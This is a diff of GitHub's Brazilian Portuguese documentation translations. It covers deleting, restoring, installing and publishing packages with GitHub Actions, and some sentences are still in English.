-- You cannot delete a public package if any version of the package has more than 5000 downloads. In this scenario, contact [GitHub support](https://support.github.com/contact?tags=docs-packages) for further assistance.
-- When deleting public packages, be aware that you may break projects that depend on your package.
+**Observação:**
+- Você não pode excluir um pacote público se uma versão do pacote tiver mais de 5000 downloads. Neste caso, entre em contato com o [suporte do GitHub](https://support.github.com/contact?tags=docs-packages) para obter mais assistência.
+- Ao excluir pacotes públicos, esteja ciente de que você pode quebrar projetos que dependem do seu pacote.
 
 {% endnote %}
 
-On {% data variables.product.prodname_dotcom %}, you can also restore an entire package or package version, if:
-- You restore the package within 30 days of its deletion.
-- The same package namespace is still available and not used for a new package.
+Em {% data variables.product.prodname_dotcom %}, você também pode restaurar um pacote inteiro ou uma versão do pacote, se:
+- Você restaurar o pacote dentro de 30 dias após a exclusão.
+- O mesmo namespace do pacote ainda estiver disponível e não for usado para um novo pacote.
 
 {% ifversion fpt or ghec or ghes %}
-## Packages API support
+## Suporte de API de pacotes
 
 {% ifversion fpt or ghec %}
 
-You can use the REST API to manage your packages. For more information, see the "[{% data variables.product.prodname_registry %} API](/rest/reference/packages)."
+Você pode usar a API REST para gerenciar seus pacotes. Para obter mais informações, consulte o "[API de {% data variables.product.prodname_registry %}](/rest/reference/packages)".
 
 {% endif %}
 
@@ -50,52 +50,49 @@ For packages that inherit their permissions and access from repositories, you ca
 
 {% endif %}
 
-## Required permissions to delete or restore a package
+## Permissões necessárias para excluir ou restaurar um pacote
 
-For packages that inherit their access permissions from repositories, you can delete a package if you have admin permissions to the repository.
+Para pacotes que herdam as permissões de acesso dos repositórios, é possível excluir um pacote se você tiver permissões de administrador para o repositório.
 
-Repository-scoped packages on {% data variables.product.prodname_registry %} include these packages:
+Os pacotes com escopo de repositório em {% data variables.product.prodname_registry %} incluem estes pacotes:
 - npm
 - RubyGems
 - maven
 - Gradle
 - NuGet
-{% ifversion not fpt or ghec %}- Docker images at `docker.pkg.github.com/OWNER/REPOSITORY/IMAGE-NAME`{% endif %}
+{% ifversion not fpt or ghec %}- Imagens do Docker em `docker.pkg.github.com/OWNER/REPOSITORY/IMAGE-NAME`{% endif %}
 
 {% ifversion fpt or ghec %}
 
-To delete a package that has granular permissions separate from a repository, such as container images stored at `https://ghcr.io/OWNER/PACKAGE-NAME`, you must have admin access to the package.
-For more information, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages)."
+Para excluir um pacote que tem permissões granulares separadas de um repositório, como imagens de contêiner armazenadas em `https://ghcr.io/OWNER/PACKAGE-NAME`, você deverá ter acesso de administrador ao pacote. Para obter mais informações, consulte "[Sobre permissões para {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages)".
 
 {% endif %}
 
-## Deleting a package version
+## Excluir a versão de um pacote
 
-### Deleting a version of a repository-scoped package on {% data variables.product.prodname_dotcom %}
+### Excluir uma versão de um pacote com escopo de repositório em {% data variables.product.prodname_dotcom %}
 
-To delete a version of a repository-scoped package, you must have admin permissions to the repository that owns the package. For more information, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)."
+Para excluir uma versão de um pacote com escopo do repositório, você deve ter permissões de administrador para o repositório ao qual o pacote pertence. Para obter mais informações, consulte "[Permissões necessárias](#required-permissions-to-delete-or-restore-a-package)".
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.package_registry.packages-from-code-tab %}
 {% data reusables.package_registry.package-settings-option %}
-5. On the left, click **Manage versions**.
-5. To the right of the version you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Delete version**.
-  ![Delete package version button](/assets/images/help/package-registry/delete-container-package-version.png)
-6. To confirm deletion, type the package name and click **I understand the consequences, delete this version**.
-  ![Confirm package deletion button](/assets/images/help/package-registry/package-version-deletion-confirmation.png)
+5. À esquerda, clique em **Gerenciar versões**.
+5. À direita da versão que você deseja excluir, clique em {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} e selecione **Excluir versão**. ![Botão para excluir a versão do pacote](/assets/images/help/package-registry/delete-container-package-version.png)
+6. Para confirmar a exclusão, digite o nome do pacote e clique em **Eu entendo as consequências. Exclua esta versão**. ![Botão de confirmar exclusão de pacote](/assets/images/help/package-registry/package-version-deletion-confirmation.png)
 
 {% ifversion fpt or ghec or ghes %}
-### Deleting a version of a repository-scoped package with GraphQL
+### Excluir uma versão de um pacote com escopo do repositório com o GraphQL
 
-For packages that inherit their permissions and access from repositories, you can use the GraphQL to delete a specific package version.
+Para pacotes que herdam suas permissões e acesso dos repositórios, você pode usar o GraphQL para excluir uma versão específica de pacotes.
 
 {% ifversion fpt or ghec %}
-For containers or Docker images at `ghcr.io`, GraphQL is not supported but you can use the REST API. For more information, see the "[{% data variables.product.prodname_registry %} API](/rest/reference/packages)."
+For containers or Docker images at `ghcr.io`, GraphQL is not supported but you can use the REST API. Para obter mais informações, consulte o "[API de {% data variables.product.prodname_registry %}](/rest/reference/packages)".
 {% endif %}
 
-Use the `deletePackageVersion` mutation in the GraphQL API. You must use a token with the `read:packages`, `delete:packages`, and `repo` scopes. For more information about tokens, see "[About {% data variables.product.prodname_registry %}](/packages/publishing-and-managing-packages/about-github-packages#authenticating-to-github-packages)."
+Use a mutação `deletePackageVersion` na API do GraphQL. Você deve usar um token com os escopos `read:packages`, `delete:packages` e `repo`. For more information about tokens, see "[About {% data variables.product.prodname_registry %}](/packages/publishing-and-managing-packages/about-github-packages#about-tokens)."
 
-The following example demonstrates how to delete a package version, using a `packageVersionId` of `MDIyOlJlZ2lzdHJ5UGFja2FnZVZlcnNpb243MTExNg`.
+O exemplo a seguir demonstra como excluir uma versão do pacote, usando um `packageVersionId` de `MDIyOlJlZ2lzdHJ5UGFja2FnZVZlcnNpb243MTExNg`.
 
 ```shell
 curl -X POST \
@@ -105,148 +102,129 @@ curl -X POST \
 HOSTNAME/graphql
 ```
 
-To find all of the private packages you have published to {% data variables.product.prodname_registry %}, along with the version IDs for the packages, you can use the `packages` connection through the `repository` object. You will need a token with the `read:packages` and `repo` scopes. For more information, see the [`packages`]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/reference/objects#repository) connection or the [`PackageOwner`]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/reference/interfaces#packageowner) interface.
+To find all of the private packages you have published to {% data variables.product.prodname_registry %}, along with the version IDs for the packages, you can use the `packages` connection through the `repository` object. Você vai precisar de um token com os escopos `read:packages` e `repo`. For more information, see the [`packages`]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/reference/objects#repository) connection or the [`PackageOwner`]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/reference/interfaces#packageowner) interface.
 
 For more information about the `deletePackageVersion` mutation, see "[`deletePackageVersion`]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/reference/mutations#deletepackageversion)."
 
-You cannot directly delete an entire package using GraphQL, but if you delete every version of a package, the package will no longer show on {% data variables.product.product_name %}.
+Você não pode excluir diretamente um pacote inteiro usando o GraphQL, mas se você excluir todas as versões de um pacote, o pacote não será mostrado em {% data variables.product.product_name %}.
 
 {% endif %}
 
 {% ifversion fpt or ghec %}
-### Deleting a version of a user-scoped package on {% data variables.product.prodname_dotcom %}
+### Excluindo uma versão de pacote com escopo do usuário em {% data variables.product.prodname_dotcom %}
 
-To delete a specific version of a user-scoped package on {% data variables.product.prodname_dotcom %}, such as for a Docker image at `ghcr.io`, use these steps. To delete an entire package, see "[Deleting an entire user-scoped package on {% data variables.product.prodname_dotcom %}](#deleting-an-entire-user-scoped-package-on-github)."
+Para excluir uma versão específica de um pacote com escopo de usuário em {% data variables.product.prodname_dotcom %}, como para uma imagem Docker em `ghcr. o`, siga estas etapas. Para excluir um pacote inteiro, consulte "[Excluir todo um pacote com escopo do usuário em {% data variables.product.prodname_dotcom %}](#deleting-an-entire-user-scoped-package-on-github)".
 
-To review who can delete a package version, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)."
+Para revisar quem pode excluir uma versão de pacote, consulte "[Permissões necessárias](#required-permissions-to-delete-or-restore-a-package)".
 
 {% data reusables.package_registry.package-settings-from-user-level %}
 {% data reusables.package_registry.package-settings-option %}
-5. On the left, click **Manage versions**.
-5. To the right of the version you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Delete version**.
-  ![Delete package version button](/assets/images/help/package-registry/delete-container-package-version.png)
-6. To confirm deletion, type the package name and click **I understand the consequences, delete this version**.
-  ![Confirm package deletion button](/assets/images/help/package-registry/confirm-container-package-version-deletion.png)
+5. À esquerda, clique em **Gerenciar versões**.
+5. À direita da versão que você deseja excluir, clique em {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} e selecione **Excluir versão**. ![Botão para excluir a versão do pacote](/assets/images/help/package-registry/delete-container-package-version.png)
+6. Para confirmar a exclusão, digite o nome do pacote e clique em **Eu entendo as consequências. Exclua esta versão**. ![Botão de confirmar exclusão de pacote](/assets/images/help/package-registry/confirm-container-package-version-deletion.png)
 
 ### Deleting a version of an organization-scoped package on {% data variables.product.prodname_dotcom %}
 
-To delete a specific version of an organization-scoped package on {% data variables.product.prodname_dotcom %}, such as for a Docker image at `ghcr.io`, use these steps.
-To delete an entire package, see "[Deleting an entire organization-scoped package on {% data variables.product.prodname_dotcom %}](#deleting-an-entire-organization-scoped-package-on-github)."
+Para excluir uma versão específica de um pacote com escopo de organização em {% data variables.product.prodname_dotcom %}, como para uma imagem Docker em `ghcr.io`, siga estas etapas. Para excluir um pacote inteiro, consulte "[Excluir todo um pacote com escopo da organização em {% data variables.product.prodname_dotcom %}](#deleting-an-entire-organization-scoped-package-on-github)".
 
 To review who can delete a package version, see "[Required permissions to delete or restore a package](#required-permissions-to-delete-or-restore-a-package)."
 
 {% data reusables.package_registry.package-settings-from-org-level %}
 {% data reusables.package_registry.package-settings-option %}
-5. On the left, click **Manage versions**.
-5. To the right of the version you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Delete version**.
-  ![Delete package version button](/assets/images/help/package-registry/delete-container-package-version.png)
-6. To confirm deletion, type the package name and click **I understand the consequences, delete this version**.
-  ![Confirm package version deletion button](/assets/images/help/package-registry/confirm-container-package-version-deletion.png)
+5. À esquerda, clique em **Gerenciar versões**.
+5. À direita da versão que você deseja excluir, clique em {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} e selecione **Excluir versão**. ![Botão para excluir a versão do pacote](/assets/images/help/package-registry/delete-container-package-version.png)
+6. Para confirmar a exclusão, digite o nome do pacote e clique em **Eu entendo as consequências. Exclua esta versão**. ![Botão para confirmar a exclusão da versão do pacote](/assets/images/help/package-registry/confirm-container-package-version-deletion.png)
 {% endif %}
 
-## Deleting an entire package
+## Excluindo um pacote inteiro
 
-### Deleting an entire repository-scoped package on {% data variables.product.prodname_dotcom %}
+### Excluindo um pacote com escopo de repositório completo em {% data variables.product.prodname_dotcom %}
 
-To delete an entire repository-scoped package, you must have admin permissions to the repository that owns the package. For more information, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)."
+Para excluir todo um pacote com escopo do repositório, você deve ter permissões de administrador no repositório que possui o pacote. Para obter mais informações, consulte "[Permissões necessárias](#required-permissions-to-delete-or-restore-a-package)".
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.package_registry.packages-from-code-tab %}
 {% data reusables.package_registry.package-settings-option %}
-4. Under "Danger Zone", click **Delete this package**.
-5. To confirm, review the confirmation message, enter your package name, and click **I understand, delete this package.**
-  ![Confirm package deletion button](/assets/images/help/package-registry/package-version-deletion-confirmation.png)
+4. Em "zona de perigo", clique em **Excluir este pacote**.
+5. Para confirmar, revise a mensagem de confirmação, digite o nome do seu pacote e clique em **Eu compreendo, exclua este pacote.** ![Botão de confirmar exclusão de pacote](/assets/images/help/package-registry/package-version-deletion-confirmation.png)
 
 {% ifversion fpt or ghec %}
-### Deleting an entire user-scoped package on {% data variables.product.prodname_dotcom %}
+### Excluir um pacote inteiro com escopo do usuário em {% data variables.product.prodname_dotcom %}
 
-To review who can delete a package, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)."
+Para revisar quem pode excluir um pacote, consulte "[Permissões necessárias](#required-permissions-to-delete-or-restore-a-package)".
 
 {% data reusables.package_registry.package-settings-from-user-level %}
 {% data reusables.package_registry.package-settings-option %}
-5. On the left, click **Options**.
-  !["Options" menu option](/assets/images/help/package-registry/options-for-container-settings.png)
-6. Under "Danger zone", click **Delete this package**.
-  ![Delete package version button](/assets/images/help/package-registry/delete-container-package-button.png)
-6. To confirm deletion, type the package name and click **I understand the consequences, delete this package**.
-  ![Confirm package version deletion button](/assets/images/help/package-registry/confirm-container-package-deletion.png)
+5. À esquerda, clique em **Opções**. ![Opção do menu "Opções"](/assets/images/help/package-registry/options-for-container-settings.png)
+6. Em "Zona de Perigo" clique em **Excluir este pacote**. ![Botão para excluir a versão do pacote](/assets/images/help/package-registry/delete-container-package-button.png)
+6. Para confirmar a exclusão, digite o nome do pacote e clique em **Eu entendo as consequências. Exclua este pacote**. ![Botão para confirmar a exclusão da versão do pacote](/assets/images/help/package-registry/confirm-container-package-deletion.png)
 
-### Deleting an entire organization-scoped package on {% data variables.product.prodname_dotcom %}
+### Excluir um pacote inteiro com escopo da organização em {% data variables.product.prodname_dotcom %}
 
-To review who can delete a package, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)."
+Para revisar quem pode excluir um pacote, consulte "[Permissões necessárias](#required-permissions-to-delete-or-restore-a-package)".
 
 {% data reusables.package_registry.package-settings-from-org-level %}
 {% data reusables.package_registry.package-settings-option %}
-5. On the left, click **Options**.
-  !["Options" menu option](/assets/images/help/package-registry/options-for-container-settings.png)
-6. Under "Danger zone", click **Delete this package**.
-  ![Delete package button](/assets/images/help/package-registry/delete-container-package-button.png)
-6. To confirm deletion, type the package name and click **I understand the consequences, delete this package**.
-  ![Confirm package deletion button](/assets/images/help/package-registry/confirm-container-package-deletion.png)
+5. À esquerda, clique em **Opções**. ![Opção do menu "Opções"](/assets/images/help/package-registry/options-for-container-settings.png)
+6. Em "Zona de Perigo" clique em **Excluir este pacote**. ![Botão de excluir pacote](/assets/images/help/package-registry/delete-container-package-button.png)
+6. Para confirmar a exclusão, digite o nome do pacote e clique em **Eu entendo as consequências. Exclua este pacote**. ![Botão de confirmar exclusão de pacote](/assets/images/help/package-registry/confirm-container-package-deletion.png)
 {% endif %}
 
-## Restoring packages
+## Restaurando pacotes
 
-You can restore a deleted package or version if:
-- You restore the package within 30 days of its deletion.
-- The same package namespace and version is still available and not reused for a new package.
+Você pode restaurar um pacote ou versão excluído, se:
+- Você restaurar o pacote dentro de 30 dias após a exclusão.
+- O mesmo namespace e versão do pacote ainda estiverem disponíveis e não forem reutilizados para um novo pacote.
 
-For example, if you have a deleted rubygem package named `octo-package` that was scoped to the repo `octo-repo-owner/octo-repo`, then you can only restore the package if the package namespace `rubygem.pkg.github.com/octo-repo-owner/octo-repo/octo-package` is still available, and 30 days have not yet passed.
+Por exemplo, se você tem um pacote de rubygem excluído denominado `octo-package` que teve o escopo definido como repositório `octo-repo-owner/octo-repo`, você só poderá restaurar o pacote se o namespace do pacote `rubygem.pkg.github.com/octo-repo-owner/octo-repo/octo-package` ainda estiver disponível, e 30 dias ainda não passaram.
 
 {% ifversion fpt or ghec %}
 To restore a deleted package, you must also meet one of these permission requirements:
-  - For repository-scoped packages: You have admin permissions to the repository that owns the deleted package.{% ifversion fpt or ghec %}
-  - For user-account scoped packages: Your user account owns the deleted package.
-  - For organization-scoped packages: You have admin permissions to the deleted package in the organization that owns the package.{% endif %}
+  - Para pacotes com escopo de repositório: Você tem permissões de administrador no repositório ao qual o pacote excluído pertence.{% ifversion fpt or ghec %}
+  - Para pacotes com escopo de conta de usuário: Sua conta de usuário é proprietária do pacote excluído.
+  - Para os pacotes com escopo da organização: Você tem permissões de administrador para o pacote excluído na organização que é proprietário do pacote.{% endif %}
 {% endif %}
 
 {% ifversion ghae or ghes %}
 To delete a package, you must also have admin permissions to the repository that owns the deleted package.
 {% endif %}
 
-For more information, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)."
+Para obter mais informações, consulte "[Permissões necessárias](#required-permissions-to-delete-or-restore-a-package)".
 
-Once the package is restored, the package will use the same namespace it did before. If the same package namespace is not available, you will not be able to restore your package. In this scenario, to restore the deleted package, you must delete the new package that uses the deleted package's namespace first.
+Uma vez restaurado o pacote, este usará o mesmo namespace de antes. Se o mesmo namespace não estiver disponível, você não poderá restaurar seu pacote. Neste cenário, para restaurar o pacote excluído, você deverá excluir o novo pacote que usa o namespace do pacote excluído primeiro.
 
-### Restoring a package in an organization
+### Restaurando um pacote de uma organização
 
  You can restore a deleted package through your organization account settings, as long as the package was in a repository owned by the organizaton{% ifversion fpt or ghec %} or had granular permissions and was scoped to your organization account{% endif %}.
 
-To review who can restore a package in an organization, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)."
+Para revisar quem pode restaurar um pacote em uma organização, consulte "[Permissões necessárias](#required-permissions-to-delete-or-restore-a-package)".
 
 {% data reusables.organizations.navigate-to-org %}
 {% data reusables.organizations.org_settings %}
-3. On the left, click **Packages**.
-4. Under "Deleted Packages", next to the package you want to restore, click **Restore**.
-  ![Restore button](/assets/images/help/package-registry/restore-option-for-deleted-package-in-an-org.png)
-5. To confirm, type the name of the package and click **I understand the consequences, restore this package**.
-  ![Restore package confirmation button](/assets/images/help/package-registry/type-package-name-and-restore-button.png)
+3. À esquerda, clique em **Pacotes**.
+4. Em "Pacotes excluídos", ao lado do pacote que você deseja restaurar, clique em **Restaurar**. ![Botão de restaurar](/assets/images/help/package-registry/restore-option-for-deleted-package-in-an-org.png)
+5. Para confirmar, digite o nome do pacote e clique em **Eu entendo as consequências, restaure este pacote**. ![Restaurar botão de confirmação do pacote](/assets/images/help/package-registry/type-package-name-and-restore-button.png)
 
 {% ifversion fpt or ghec %}
 
-### Restoring a user-account scoped package
+### Restaurar um pacote com escopo de conta de usuário
 
-You can restore a deleted package through your user account settings, if the package was in one of your repositories or scoped to your user account. For more information, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)."
+Você pode restaurar um pacote excluído por meio das configurações da sua conta de usuário, se o pacote estiver em um de seus repositórios ou escopo para sua conta de usuário. Para obter mais informações, consulte "[Permissões necessárias](#required-permissions-to-delete-or-restore-a-package)".
 
 {% data reusables.user_settings.access_settings %}
-2. On the left, click **Packages**.
-4. Under "Deleted Packages", next to the package you want to restore, click **Restore**.
-  ![Restore button](/assets/images/help/package-registry/restore-option-for-deleted-package-in-an-org.png)
-5. To confirm, type the name of the package and click **I understand the consequences, restore this package**.
-  ![Restore package confirmation button](/assets/images/help/package-registry/type-package-name-and-restore-button.png)
+2. À esquerda, clique em **Pacotes**.
+4. Em "Pacotes excluídos", ao lado do pacote que você deseja restaurar, clique em **Restaurar**. ![Botão de restaurar](/assets/images/help/package-registry/restore-option-for-deleted-package-in-an-org.png)
+5. Para confirmar, digite o nome do pacote e clique em **Eu entendo as consequências, restaure este pacote**. ![Restaurar botão de confirmação do pacote](/assets/images/help/package-registry/type-package-name-and-restore-button.png)
 
 {% endif %}
 
-### Restoring a package version
+### Restaurando uma versão do pacote
 
-You can restore a package version from your package's landing page. To review who can restore a package, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)."
+Você pode restaurar uma versão do pacote a partir da página inicial do seu pacote. Para revisar quem pode restaurar um pacote, consulte "[Permissões necessárias](#required-permissions-to-delete-or-restore-a-package)".
 
-1. Navigate to your package's landing page.
-2. On the right, click **Package settings**.
-2. On the left, click **Manage versions**.
-3. On the top right, use the "Versions" drop-down menu and select **Deleted**.
-  ![Versions drop-down menu showing the deleted option](/assets/images/help/package-registry/versions-drop-down-menu.png)
-4. Next to the deleted package version you want to restore, click **Restore**.
-  ![Restore option next to a deleted package version](/assets/images/help/package-registry/restore-package-version.png)
-5. To confirm, click **I understand the consequences, restore this version.**
-  ![Confirm package version restoration](/assets/images/help/package-registry/confirm-package-version-restoration.png)
+1. Acesse a página inicial do seu pacote.
+2. À direita, clique em **Configurações do pacote**.
+2. À esquerda, clique em **Gerenciar versões**.
+3. No canto superior direito, use o menu suspenso "Versões" e selecione **Excluído**. ![Menu suspenso de versões que mostra a opção excluída](/assets/images/help/package-registry/versions-drop-down-menu.png)
+4. Ao lado da versão excluída do pacote que você deseja restaurar, clique em **Restaurar**. ![Restaurar opção ao lado de uma versão excluída do pacote](/assets/images/help/package-registry/restore-package-version.png)
+5. Para confirmar, clique em **Eu entendo as consequências, restaure esta versão.** ![Confirmar restauração da versão do pacote](/assets/images/help/package-registry/confirm-package-version-restoration.png)
diff --git a/translations/pt-BR/content/packages/learn-github-packages/installing-a-package.md b/translations/pt-BR/content/packages/learn-github-packages/installing-a-package.md
index a3523e6ab3..e2852f936d 100644
--- a/translations/pt-BR/content/packages/learn-github-packages/installing-a-package.md
+++ b/translations/pt-BR/content/packages/learn-github-packages/installing-a-package.md
@@ -1,6 +1,6 @@
 ---
-title: Installing a package
-intro: 'You can install a package from {% data variables.product.prodname_registry %} and use the package as a dependency in your own project.'
+title: Instalar um pacote
+intro: 'Você pode instalar um pacote do {% data variables.product.prodname_registry %} e usá-lo como uma dependência no seu próprio projeto.'
 product: '{% data reusables.gated-features.packages %}'
 redirect_from:
   - /github/managing-packages-with-github-packages/installing-a-package
@@ -17,17 +17,17 @@ versions:
 {% data reusables.package_registry.packages-ghes-release-stage %}
 {% data reusables.package_registry.packages-ghae-release-stage %}
 
-## About package installation
+## Sobre a instalação do pacote
 
-You can search on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} to find packages in {% data variables.product.prodname_registry %} that you can install in your own project. For more information, see "[Searching {% data variables.product.prodname_registry %} for packages](/search-github/searching-on-github/searching-for-packages)."
+Você pode pesquisar em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} para encontrar pacotes em {% data variables.product.prodname_registry %} que você pode instalar no seu próprio projeto. Para obter mais informações, consulte "[Pesquisar pacotes no {% data variables.product.prodname_registry %}](/search-github/searching-on-github/searching-for-packages)".
 
-After you find a package, you can read the package's description and installation and usage instructions on the package page.
+Depois de encontrar um pacote, você pode ler a descrição e as instruções de instalação e utilização na página de pacotes.
 
-## Installing a package
+## Instalar um pacote
 
-You can install a package from {% data variables.product.prodname_registry %} using any {% ifversion fpt or ghae or ghec %}supported package client{% else %}package type enabled for your instance{% endif %} by following the same general guidelines.
+Você pode instalar um pacote de {% data variables.product.prodname_registry %} usando qualquer {% ifversion fpt or ghae or ghec %}tipo de pacote cliente compatível{% else %}pacote habilitado para sua instância{% endif %}, seguindo as mesmas diretrizes gerais.
 
-1. Authenticate to {% data variables.product.prodname_registry %} using the instructions for your package client. For more information, see "[Authenticating to GitHub Packages](/packages/learn-github-packages/introduction-to-github-packages#authenticating-to-github-packages)."
-2. Install the package using the instructions for your package client.
+1. Efetue a autenticação com {% data variables.product.prodname_registry %} usando as instruções para seu cliente de pacote. Para obter mais informações, consulte "[Efetuar a autenticação no GitHub Packages](/packages/learn-github-packages/introduction-to-github-packages#authenticating-to-github-packages)".
+2. Instale o pacote usando as instruções para seu cliente de pacote.
 
-For instructions specific to your package client, see "[Working with a {% data variables.product.prodname_registry %} registry](/packages/working-with-a-github-packages-registry)."
+Para obter instruções específicas para o seu cliente de pacotes, consulte "[Trabalhar com um registro de {% data variables.product.prodname_registry %}](/packages/working-with-a-github-packages-registry)".
diff --git a/translations/pt-BR/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md b/translations/pt-BR/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md
index f33c0fa3a5..04a4300860 100644
--- a/translations/pt-BR/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md
+++ b/translations/pt-BR/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md
@@ -1,6 +1,6 @@
 ---
-title: Publishing and installing a package with GitHub Actions
-intro: 'You can configure a workflow in {% data variables.product.prodname_actions %} to automatically publish or install a package from {% data variables.product.prodname_registry %}.'
+title: Publicar e instalar um pacote no GitHub Actions
+intro: 'É possível configurar um fluxo de trabalho no {% data variables.product.prodname_actions %} para publicar ou instalar automaticamente um pacote do {% data variables.product.prodname_registry %}.'
 product: '{% data reusables.gated-features.packages %}'
 redirect_from:
   - /github/managing-packages-with-github-packages/using-github-packages-with-github-actions
@@ -11,79 +11,79 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Publish & install with Actions
+shortTitle: Publicar & instalar com ações
 ---
 
 {% data reusables.package_registry.packages-ghes-release-stage %}
 {% data reusables.package_registry.packages-ghae-release-stage %}
 
-## About {% data variables.product.prodname_registry %} with {% data variables.product.prodname_actions %}
+## Sobre {% data variables.product.prodname_registry %} com {% data variables.product.prodname_actions %}
 
-{% data reusables.repositories.about-github-actions %} {% data reusables.repositories.actions-ci-cd %} For more information, see "[About {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/about-github-actions)."
+{% data reusables.repositories.about-github-actions %} {% data reusables.repositories.actions-ci-cd %} Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/about-github-actions)".
 
-You can extend the CI and CD capabilities of your repository by publishing or installing packages as part of your workflow.
+Você pode estender os recursos de CI e CD do seu repositório publicando ou instalando pacotes como parte do seu fluxo de trabalho.
 
 {% ifversion fpt or ghec %}
-### Authenticating to the {% data variables.product.prodname_container_registry %}
+### Efetuar a autenticação no {% data variables.product.prodname_container_registry %}
 
 {% data reusables.package_registry.authenticate_with_pat_for_container_registry %}
 
 {% endif %}
 
-### Authenticating to package registries on {% data variables.product.prodname_dotcom %}
+### Efetuar a autenticação nos registros do pacote em {% data variables.product.prodname_dotcom %}
 
-{% ifversion fpt or ghec %}If you want your workflow to authenticate to {% data variables.product.prodname_registry %} to access a package registry other than the {% data variables.product.prodname_container_registry %} on {% data variables.product.product_location %}, then{% else %}To authenticate to package registries on {% data variables.product.product_name %},{% endif %} we recommend using the `GITHUB_TOKEN` that {% data variables.product.product_name %} automatically creates for your repository when you enable {% data variables.product.prodname_actions %} instead of a personal access token for authentication. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}You should set the permissions for this access token in the workflow file to grant read access for the `contents` scope and write access for the `packages` scope. {% else %}It has read and write permissions for packages in the repository where the workflow runs. {% endif %}For forks, the `GITHUB_TOKEN` is granted read access for the parent repository. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)."
+{% ifversion fpt or ghec %}Se você quiser que o seu fluxo de trabalho seja autenticado em {% data variables.product.prodname_registry %} para acessar o registro de um pacote diferente de {% data variables.product.prodname_container_registry %} em {% data variables.product.product_location %}, {% else %}Para efetuar a autenticação em registros de pacote em {% data variables.product.product_name %},{% endif %}, recomendamos o uso de `GITHUB_TOKEN` que {% data variables.product.product_name %} cria automaticamente para o seu repositório quando você habilita {% data variables.product.prodname_actions %} em vez de um token de acesso pessoal para autenticação. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}Você deverá definir as permissões para este token de acesso no arquivo do fluxo de trabalho para conceder acesso de leitura para o `conteúdo` escopo e acesso de gravação para o escopo `pacotes`. {% else %}tem permissões de leitura e gravação para pacotes no repositório em que o fluxo de trabalho é executado. {% endif %}Para bifurcações, o `GITHUB_TOKEN` recebe acesso de leitura para o repositório principal. Para obter mais informações, consulte "[Autenticação com o GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)".
 
-You can reference the `GITHUB_TOKEN` in your workflow file using the {% raw %}`{{secrets.GITHUB_TOKEN}}`{% endraw %} context. For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)."
+Você pode fazer referência ao `GITHUB_TOKEN` no seu arquivo de fluxo de trabalho usando o contexto {% raw %}`{{secrets.GITHUB_TOKEN}}`{% endraw %}. Para obter mais informações, consulte "[Permissões para o GITHUB_TOKEN](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)".
 
-## About permissions and package access for repository-owned packages
+## Sobre permissões e acesso de pacote para pacotes pertencentes ao repositório
 
 {% note %}
 
-**Note:** Repository-owned packages include RubyGems, npm, Apache Maven, NuGet, {% ifversion fpt or ghec %}and Gradle. {% else %}Gradle, and Docker packages that use the package namespace `docker.pkg.github.com`.{% endif %}
+**Observação:** Os pacotes que possuem repositórios incluem RubyGems, npm, Apache Maven, NuGet, {% ifversion fpt or ghec %}e Gradle. {% else %}Os pacotes do Gradle e Docker que usam o pacote namespace `docker.pkg.github.com`.{% endif %}
 
 {% endnote %}
 
-When you enable GitHub Actions, GitHub installs a GitHub App on your repository. The `GITHUB_TOKEN` secret is a GitHub App installation access token. You can use the installation access token to authenticate on behalf of the GitHub App installed on your repository. The token's permissions are limited to the repository that contains your workflow. For more information, see "[Permissions for the GITHUB_TOKEN](/actions/reference/authentication-in-a-workflow#about-the-github_token-secret)."
+Quando você habilita o GitHub Actions, o GitHub instala um aplicativo GitHub no repositório. O segredo `GITHUB_TOKEN` é um token de acesso de instalação do aplicativo GitHub. Você pode usar o token de acesso de instalação para efetuar a autenticação em nome do aplicativo GitHub instalado no seu repositório. As permissões do token são restritas ao repositório do fluxo de trabalho. Para obter mais informações, consulte "[Permissões para o GITHUB_TOKEN](/actions/reference/authentication-in-a-workflow#about-the-github_token-secret)".
 
